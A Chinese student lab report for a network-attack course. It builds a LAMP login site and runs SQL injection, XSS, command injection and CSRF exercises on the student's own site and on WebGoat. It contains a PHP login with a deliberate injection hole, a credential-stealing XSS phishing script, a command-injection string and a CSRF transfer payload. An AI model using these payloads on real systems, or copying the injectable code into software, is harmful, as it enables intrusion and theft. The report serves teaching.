Web综合
实 验 报 告
课程:网络对抗技术
班级:2012 姓名:郭幸坤 学号:20201213
实验名称:Web综合 实验日期:2023.5.23
实验目的
- 理解HTML,理解表单,理解GET与POST方法。
- 使用Apache启停HTTP服务。
- 掌握简单的网站前端和后端的编写编程知识
- 掌握SQL注入,xss、CSRF的基本攻击原理
实验内容
(1) Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2) Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3) Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4) Web后端:编写PHP网页,连接数据库,进行用户认证
(5) 最简单的SQL注入,XSS攻击测试
(6) 选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。
实验过程
(一)Web前端HTML
1-基础知识
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
1-1-html
HTML 超文本标记语言。
HTML 文件实际上是个文本文件,经过浏览器解析,形成看到的网页。
HTML 主要由一个个标签组成,和 XML 类似。
1-2-表单
表单是 HTML 的一种标签。
菜鸟教程:https://www.runoob.com/tags/tag-form.html
它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。
需要特殊指出的是,form 表单中不具有 name 属性的输入数据是不会被提交的。
因为 form 表单提交数据的方式是名值对(或者键值对),没有“名”,只有“值”,是非法的。
1-3-Get和POST的区别
老生长谈了,大家自行百度,我去年百度第一个也是 https://baijiahao.baidu.com/s?id=1674791753672583610&wfr=spider&for=pc
最重要的区别:Get 请求携带的数据是写在 http 报头的路径里面的(问号后面),POST 请求携带的数据是写在 http 报文后面的数据里面的。
携带数据的格式是键值对,类似于 JSON 和 python 中的字典数据结构。eg:name1:value1&name2:value2&......
用 burp 抓包给大家看一下,有个直观的感受。
一个简单的表单
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form action="http://www.baidu.com" method="POST">
<p>username</p>
<input type="text" name="username"/>
<p>password</p>
<input type="password" name = "passwd" />
<p>sex</p>
<input type="text" name="sex"/>
<br><br>
<input type="submit"/>
</form>
</body>
</html>
填写
POST 请求
把 表单中的 POST请求 改成 GET请求
2-apache
- 在 Ubuntu20.04 上安装 Apache
sudo apt-get install apache2
- 启停 Apache
查看Apache状态
sudo systemctl status apache2
他说成功启动了,验证一下
http://localhost 默认80端口
停止Apache服务
service apache2 stop
重要的默认安装路径
/etc/apache2/apache2.conf Apache配置文件
/var/www/html 网站根目录
/var/log/apache2 日志
3-一个简单的html网页
这个是我之前写的一个,CSS直接扒大佬的即可
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
<div th:include="common/css::css"></div>
<script src="../../static/js/login.js"></script>
</head>
<body>
<!-- loader Start -->
<div id="loading">
<div id="loading-center">
</div>
</div>
<!-- loader END -->
<!-- Sign in Start -->
<section class="sign-in-page">
<div class="container bg-white mt-5 p-0">
<div class="row no-gutters">
<div class="col-sm-6 align-self-center">
<div class="sign-in-from">
<h1 class="mb-0">登录</h1>
<p>请输入你的邮箱和密码来登录系统</p>
<p style="color: red" th:text="${str}" th:if="${not #strings.isEmpty(str)}"></p>
<div id="error-message" class="alert alert-danger" style="display: none;"></div>
<form class="mt-4" method="post" th:action="@{/login}" id="loginForm">
<div class="form-group">
<label for="email">邮件地址</label>
<input type="text" class="form-control mb-0" id="email" name="email" placeholder="输入邮件地址">
</div>
<div class="form-group">
<label for="password">密码</label>
<a th:href="@{#}" class="float-right">忘记密码?</a>
<input type="password" class="form-control mb-0" id="password" name="password" placeholder="密码">
</div>
<div class="d-inline-block w-100">
<div class="custom-control custom-checkbox d-inline-block mt-2 pt-1">
<input type="checkbox" class="custom-control-input" id="customCheck1">
<label class="custom-control-label" for="customCheck1">记住我</label>
</div>
<button type="submit" class="btn btn-primary float-right">登录</button>
</div>
<div class="sign-info">
<span class="dark-color d-inline-block line-height-2">没有账号?<a th:href="@{/register}">请注册</a></span>
<ul class="iq-social-media">
<li><a href="#"><i class="ri-facebook-box-line"></i></a></li>
<li><a href="#"><i class="ri-twitter-line"></i></a></li>
<li><a href="#"><i class="ri-instagram-line"></i></a></li>
</ul>
</div>
</form>
</div>
</div>
<div class="col-sm-6 text-center">
<div class="sign-in-detail text-white">
<a class="sign-in-logo mb-5" href="#"><img th:src="@{/images/logo-white.png}" class="img-fluid" alt="logo"></a>
<div class="owl-carousel" data-autoplay="true" data-loop="true" data-nav="false" data-dots="true" data-items="1" data-items-laptop="1" data-items-tab="1" data-items-mobile="1" data-items-mobile-sm="1" data-margin="0">
<div class="item">
<img th:src="@{/images/login/1.png}" class="img-fluid mb-4" alt="logo">
<h4 class="mb-1 text-white">管理学生</h4>
<p>毫无疑问这是一个简单的学生管理系统</p>
</div>
<div class="item">
<img th:src="@{/images/login/1.png}" class="img-fluid mb-4" alt="logo">
<h4 class="mb-1 text-white">管理学生</h4>
<p>毫无疑问这是一个简单的学生管理系统</p>
</div>
<div class="item">
<img th:src="@{/images/login/1.png}" class="img-fluid mb-4" alt="logo">
<h4 class="mb-1 text-white">管理学生</h4>
<p>毫无疑问这是一个简单的学生管理系统</p>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<div th:include="common/js::js"></div>
</body>
</html>
(二)Web前端javascipt
1-js基础知识
1-1-JavaScript
JavaScript是一种编程语言,由浏览器解析并执行,主要用于控制网页和浏览器的行为(前端)。
其中事件-响应机制,是主要的和用户交互的方法。
后来 JavaScript 出圈了,用 JS 的人越来越多,JS 的功能也越来越丰富和强大,现在 JS 也可以用于后端开发。
目前 JavaScript 已经超过 PHP ,位于编程语言排行榜的第 6 名左右。
1-2-DOM
DOM 文档对象模型,是W3C组织推荐的处理可扩展置标语言的标准编程接口。它是一种与平台和语言无关的应用程序接口(API)。
DOM 是一种标准,各个编程语言通过实现这个标准,提供操控 DOM 的功能。
当网页被加载时,浏览器会创建页面的文档对象模型。
JS 操作 DOM 的简单例子:document.getElementById("demo").innerHTML = "Hello World!";
W3school 教程传送门:https://www.w3school.com.cn/js/js_htmldom_document.asp
1-3-JavaScript安全问题
前端的JavaScript代码是可以在浏览器里面被用户禁用的。
如果想用 JavaScript 做验证,那么这是很不安全的。因为用户可以把你的这段代码删除掉或者禁用掉。
一个典型的例子是文件上传漏洞。
比如我用 JavaScript 限制用户只能上传 png 后缀的图片,但用户可以通过禁用 JavaScript 代码,突破你的限制。
也可以使用 burp 抓包工具,在 JavaScript 运行完之后,篡改 http 数据包,从而突破限制。
总而言之,只用 JavaScript 做安全性的校验,是不可取的。
2-一个带js前端验证的登录页面
login.js
function isEmailValid(email) {
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return emailRegex.test(email);
}
function isPasswordSafe(password) {
const sqlInjectionRegex = /('|"|\*|;|=|\\|--|\/\*|\*\/|\/\/)/g;
return !sqlInjectionRegex.test(password);
}
function displayErrorMessage(message) {
const errorElement = document.getElementById('error-message');
errorElement.innerText = message;
errorElement.style.display = 'block';
}
function hideErrorMessage() {
const errorElement = document.getElementById('error-message');
errorElement.style.display = 'none';
}
document.getElementById('loginForm').addEventListener('submit', function (event) {
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
if (!isEmailValid(email) || !isPasswordSafe(password)) {
event.preventDefault();
displayErrorMessage('账号或密码有误,请重试');
} else {
hideErrorMessage();
}
});
邮箱检验和密码检验
3-注入攻击
注入 JS 脚本的根本要求:1.输入可控。2.页面要回显我输入的恶意代码。
在我这个前端中,用户名(邮箱)是可能被注入攻击的地方
用户名是我可以控制的,而且用户名会在 “欢迎您 + 用户名” 中回显。
但是我的 JS 又限制了用户名只能是邮箱。
这个时候就要利用 JS 的安全问题,F12 篡改 JS 代码,把 onblur 等校验函数都删了。
然后用户名用:<script>alert(1);</script>
,提交表单。
但是由于springboot的验证本身就能够抵御这种低端攻击,所以我是没办法了,大佬或许还有绕过的办法。并且现在的浏览器多数都能自动检测出这种注入攻击(XSS),他直接把攻击代码给搞没了。
(三)Web后端:MySQL基础
1-安装mysql
sudo apt-get install mysql-server //用于运行 MySQL 服务,通常是在3306端口
sudo apt-get install mysql-client //用于远程登录 MySQL 服务
# sudo apt-get install phpmyadmin //图形化mysql管理工具(网页式)
启动 MySQL 服务
service mysql start //stop,restart
sudo systemctl status mysql //查看MySQL服务的状态
2-简单使用
主要是为了后面 PHP 连接操作做准备,详细使用请参考 MySQL 官方手册。
2-1-登录 MySQL 服务,并进行安全配置
sudo mysql -uroot -p
exit
2-2-创建数据库
CREATE DATABASE IF NOT EXISTS flowershop;
use flowershop
2-3-创建表
创建一个用户表
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`ID` varchar(32) NOT NULL,
`NAME` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
`PASSWORD` varchar(20) NOT NULL,
`SEX` varchar(1) NOT NULL,
`BIRTHDAY` datetime DEFAULT NULL,
`EMAIL` varchar(60) DEFAULT NULL,
`MOBILE` varchar(11) DEFAULT NULL,
`ADDRESS` varchar(30) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL,
`STATUS` decimal(6,0) NOT NULL,
PRIMARY KEY (`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
2-4-插入数据
INSERT INTO `user` VALUES ('admin1', 'gxk', '1234qwer', 'T', null, '123123@qq.com', null, null, '0');
INSERT INTO `user` VALUES ('client1', null, 'aaaaaa', 'T', null, 'jdsf@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client2', null, 'asdfasdf', 'T', null, '234498237@qq.com', null, null, '1');
INSERT INTO `user` VALUES ('client3', '徐亮', '222222', 'T', '2010-01-01 00:00:00', 'xulaign@qq.com', '1882394', 'beijignsh', '1');
INSERT INTO `user` VALUES ('李四', '李四', 'adsjfl', 'T', '2021-01-01 00:00:00', 'ASDF', 'ASDF', 'ASDF', '1');
2-5-新建用户
每次都用最高权限的 root 用户登录数据库是存在安全隐患的
所以我们新建一个用于管理 flowershop 数据库的用户,可以远程连接
create user 'FSadmin'@'%' identified by 'FSadmin_123123';
//报错了,可能是因为已经创建过了,检查一下
use mysql;
select user,host from user;
确实已经创建过了
2-6-用户授权
使 FSadmin 拥有 flowershop 数据库的管理员权限
grant all privileges on flowershop.* to 'FSadmin'@'%' with grant option;
FLUSH PRIVILEGES;
退出当前用户,使用 FSadmin 登录 flowershop 数据库
mysql -uFSadmin -p flowershop
检查权限
insert into user values('admin','gxk','123123','T',null,null,null,null,0);
delete from user where id='admin';
没问题
2-7-修改密码
个人觉得 mysqladmin 命令挺好用的
mysqladmin -u用户名 -p旧密码 password 新密码
(四)Web后端:PHP基础
1-phptest
- 在
/var/www/html
目录下新建一个PHP测试文件phptest.php
<?php
echo "Hello word! This is 20201213gxk php test page!<br>";
?>
- 在浏览器网址栏中输入
localhost:80/phptest.php
,可看到文件的内容
2-一个用户登录的php网页
连接数据库的 PHP 代码一般是单拿出写的,好处有很多。
conn.php
<?php
$db_host = 'localhost'; //数据库主机名称,一般都为localhost
$db_user = 'FSadmin'; //数据库用户帐号,根据个人情况而定
$db_passw = 'FSadmin_123123'; //数据库用户密码,根据个人情况而定
$db_name = 'flowershop'; //数据库具体名称,以刚才创建的数据库为准
//连接数据库
$conn = mysqli_connect($db_host,$db_user,$db_passw) or die('mysql connect error:'.mysqli_error($conn));
//设置字符集,如utf8和gbk等,根据数据库的字符集而定
mysqli_query($conn, "set names 'utf8'");
//选定数据库
mysqli_select_db($conn, $db_name) or die('database change error:'.mysqli_error($conn));
?>
login.php
<?php
require('conn.php');
session_start();
$pn = $_POST['phoneNumber'];
$pwd = $_POST['pwd'];
//执行SQL语句(查询)
$sql="select count(*) from user where mobile='$pn' and password='$pwd'";
var_dump($sql);
$rs = mysqli_query($conn, $sql) or die('query failed'.mysql_error($conn));
$row = mysqli_fetch_assoc($rs);
if($row['count(*)']==1){
$_SESSION['phoneNumber'] = $pn;
echo "<script>window.location.href='index.php';</script>";
}else{
echo "<script>alert('用户名或密码错误');window.location.href='login.html';</script>";
}
?>
index.php 也要改一下
<?php
session_start();
$user = $_SESSION['phoneNumber'];
$file = file_get_contents("index.html");
if(isset($user)){
$file = str_replace('<a href="./login.html" id="login">登录</a><a href="./reg.html" id="reg">注册</a>', "欢迎您:$user", $file);
}
echo $file;
?>
正确登录,跳转到index.php
(五)最简单的SQL注入,XSS攻击测试
1-SQL注入
-
在用户名输入框输入
' or 1=1#
,密码任意输入: -
登陆成功!这是因为,输入的用户名和我们的代码中select语句组合起来变成了
select * from users where username='' or 1=1#' and password=''
,#相当于注释符,会把后面的内容都注释掉,而1=1是永真式,所以这个条件永远成立。不管密码是否输入正确,都能够成功登陆。
2-XSS攻击
2-1最简单的xss
之前的 xss 之前已经不行了,因为用户名不是我们可以任意控制的了,现在用户名必须来源于数据库中已有的数据。
但如果有注册功能,我们可以利用注册功能,向数据库写入一个我们可以控制的用户名,这样用户名还是可控的。所以我的系统里面最简单的 xss 要结合 SQL 注入实现。
在用户名之后,加上'#<script>alert(1)</script>
任务六:选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例
(一)安装Webgoat
2、建立目录,将下载的jdk复制过去并解压
sudo mkdir -p /usr/local/java
sudo cp jdk-8u161-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u91-linux-x64.tar.gz
3、配置环境变量
sudo vim /etc/profile
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_371
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
4、通知系统java的位置
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_371/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_371/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_371/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_371/bin/javaws" 1
5、设置默认JDK
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_371/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_371/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_371/bin/javaws
6、重新载入profile
source /etc/profile
通过 java -version以及javac -version即可看到是否安装完成
-
下载
webgoat-container-7.1-exec.jar
文件 -
因WebGoat默认使用8080端口,所以开启前先用
netstat -tupln | grep 8080
查看端口是否被占用,如果被占用,用kill 进程号
终止占用8080端口的进程 -
普通安装,需要在含有
webgoat-container-7.1-exec.jar
文件的目录下执行java -jar webgoat-container-7.1-exec.jar
,看到Starting ProtocolHandler ["http-bio-8080"]
这一条消息之后,即可开始后续的实验 -
浏览器中输入:
http://localhost:8080/WebGoat
,进入WebGoat登录界面;下方已经给出两组默认的用户名和密码,直接使用一组登陆即可开始实验
(二)SQL注入攻击(Injection Flaws)
命令注入(Command Injection)
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改 -
在左侧菜单栏中选择
Injection Flaws->Command Injection
,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
-
点击
view
,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
字符串型注入(String SQL Injection)
-
正常情况下只能查询到用户名对应的信用卡号码
-
输入查询的用户名
Smith' or 1=1--
,这样Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据,进而得到所有用户的信用卡号码,攻击成功!
(三)XSS攻击
-
在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Phishing with XSS
-
利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
-
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
(四)CSRF攻击——跨站请求伪造
-
在菜单栏中选择
Cross‐Site Scripting
,展开页面中选择Cross Site Request Forgery (CSRF)
-
查看页面右侧Parameters中的src和menu值,分别为2078372和900
-
在title中输入任何参数,message框中输入以下内容:
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
实验体会
以前搭建 LAMP 的时候,多数都用的 phpstudy 快速搭建,非常方便,而且可以随意切换组件的版本。少数是直接用的 LAMP,总之就是从来没有一个个地搭建 apache 、MySQL 和 PHP 环境。
所以也是趁此机会,体验一下手动从头搭建一遍 LAMP 的环境。
CTF的时候,SQL注入多是都是 MySQL 数据库,这回 webgoat 用的应该不是 MySQL,搞的有点不适应,还好字段直接就猜出来了,之后就比较顺利。这也提醒我给字段起名字的时候,可以增加复杂度,万一真的系统存在 SQL 注入,也算是一个小小的防护手段。
总的来说,本次实验帮我回顾了一下 web 的开发 和 web 的基础安全问题。
在现实生活中,先拿到 web shell,再借助 web shell 拿到 服务器 shell 可以说是非常的常见。
也可能是因为 web 是应用层,应用程序员的开发水平参差不齐,以前很多 web 开发的程序员,都是不管安全问题的,像 SQL注入,文件上传,XSS 都是比较常见的。
随着攻击方的自动化工具越来越多,发起攻击的门槛越来越低,现在多数网站都做了安全防护,又是一页矛与盾的进化史。
基础问题回答
问题1
什么是表单?
表单是 HTML 的一个标签。它之所以特殊,是因为它可以向其他的 URL 发起 get 请求 或 post 请求,并将表单中的数据写入 http 请求报文。
问题2
浏览器可以解析运行什么语言?
非编程语言:HTML、CSS、XML
编程语言:JavaScript
其实主要还是看厂商支持什么,目前主流的浏览器都是配备了 JavaScript 解析引擎,所以能解析 JavaScript。
给大家看个有趣的东西:去年5月初 python 也进军了前端 !!推出了在浏览器运行 python 代码的 alpha 版本,芜湖
<html>
<head>
<link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" />
<script defer src="https://pyscript.net/alpha/pyscript.js"></script>
</head>
<body>
<py-script>
print("hello py-script ~\nI am {}".format("20201213"))
</py-script></body>
</html>
官网: https://pyscript.net/ 由于是外网,网速比较慢。
问题3
WebServer支持哪些动态语言?
主流:PHP、Java(JSP、Servlet)、Python、JavaScript(Node.js)、ASP、Ruby、
除此之外还有:Go,C# 等
框架我就没算上了。
问题4
防范注入攻击的方法有哪些?
- 对特殊符号进行转义。
- 严格过滤用户输入。
- SQL预编译。(绕过:order by + case when)
- WAF防护
- 纵深防御:在数据库层面,严格设计用户和权限,设计视图(虚表),增加表名、列名的复杂度...
- 联合其他手段:比如一旦检测到一次注入攻击,就立即禁掉该用户的IP,防止后续注入攻击(一般都需要信息搜集,不太可能一次注入就达到目的)